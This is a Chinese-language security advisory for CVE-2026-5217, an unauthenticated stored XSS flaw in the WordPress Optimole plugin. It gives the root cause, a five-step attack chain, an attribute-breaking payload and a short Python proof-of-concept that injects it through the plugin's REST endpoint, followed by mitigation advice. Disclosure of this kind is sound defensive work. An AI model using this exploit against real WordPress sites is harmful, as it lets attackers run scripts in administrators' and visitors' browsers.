CVE-2026-5217 CVSS 7.2 高危

CVE-2026-5217 WordPress Optimole插件存储型XSS漏洞

披露日期: 2026-04-11

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-5217

漏洞类型

存储型跨站脚本

CVSS评分

7.2 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WordPress Optimole Plugin

漏洞概述

WordPress Optimole插件在4.2.2及之前的所有版本中存在严重的存储型跨站脚本（XSS）漏洞。该漏洞源于未认证的REST API端点对输入参数清理不足。尽管端点使用了HMAC签名验证，但由于验证值直接暴露在前端HTML中，攻击者可轻易绕过。成功利用此漏洞允许未认证攻击者注入恶意脚本，进而在管理员或其他用户访问页面时执行任意代码，威胁网站安全。

技术细节

该漏洞的核心在于WordPress Optimole插件对REST API端点`/wp-json/optimole/v1/optimizations`处理不当。虽然该端点设计了HMAC签名验证机制以防止未授权访问，但关键的签名值和时间戳直接暴露在前端页面的HTML源代码中，任何访问者均可读取。攻击者利用这些暴露的凭证，可以伪造合法的请求向服务器发送恶意数据。在接收用户输入的's'参数（用于srcset描述符）时，插件仅调用了`sanitize_text_field()`函数。该函数虽然能移除HTML标签，却保留了双引号字符，导致攻击者可以闭合原本的HTML属性。恶意载荷随后被存储在WordPress的transients（基于options表）中。当其他用户访问包含图片的页面时，`tag_replacer.php`文件会读取这些存储的数据，并将其无过滤地直接注入到`<img>`标签的`srcset`属性中，从而触发存储型XSS。

攻击链分析

STEP 1

1. 信息收集

访问目标WordPress站点的前端页面，查看HTML源代码，获取Optimole插件用于API验证的HMAC签名和时间戳。

STEP 2

2. 构造Payload

利用`s`参数过滤不严的缺陷，构造包含双引号的恶意XSS Payload（例如：`1x" onerror="alert(1)`），旨在闭合srcset属性并注入JavaScript事件。

STEP 3

3. 注入Payload

使用获取的签名和时间戳，向`/wp-json/optimole/v1/optimizations`端点发送请求，将恶意Payload通过`s`参数传递给服务器。

STEP 4

4. 存储与等待

服务器接收请求，由于`sanitize_text_field()`未过滤双引号，Payload被存入数据库transients中。

STEP 5

5. 触发执行

当管理员或普通用户访问使用了Optimole优化图片的页面时，`tag_replacer.php`从数据库读取恶意数据并拼接到`srcset`属性中，导致浏览器执行恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target WordPress site
url = 'http://target-wordpress.com/wp-json/optimole/v1/optimizations'

# Extracted valid signature and timestamp from frontend HTML source code
# Attackers can scrape these values because they are exposed in the page
params = {
    'signature': 'EXPOSED_HMAC_SIGNATURE_FROM_HTML',
    'timestamp': 'EXPOSED_TIMESTAMP_FROM_HTML',
    # Malicious payload using double quotes to break out of the srcset attribute.
    # sanitize_text_field removes tags but allows double quotes.
    's': '1x" onerror="alert(1)'
}

# 1. Inject the payload
response = requests.get(url, params=params)

if response.status_code == 200:
    print("Payload stored successfully. XSS will trigger on page load.")
else:
    print(f"Failed to inject payload. Status: {response.status_code}")

影响范围

WordPress Optimole Plugin <= 4.2.2

防御指南

临时缓解措施

如果无法立即升级插件，建议暂时禁用Optimole插件以阻断攻击面。同时，管理员应检查WordPress数据库的`wp_options`表中以`_transient_`开头的项，查找并清除可能已被注入的恶意脚本代码。此外，可以通过服务器规则（如.htaccess或nginx配置）阻止未授权的外部请求调用Optimole的REST接口。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表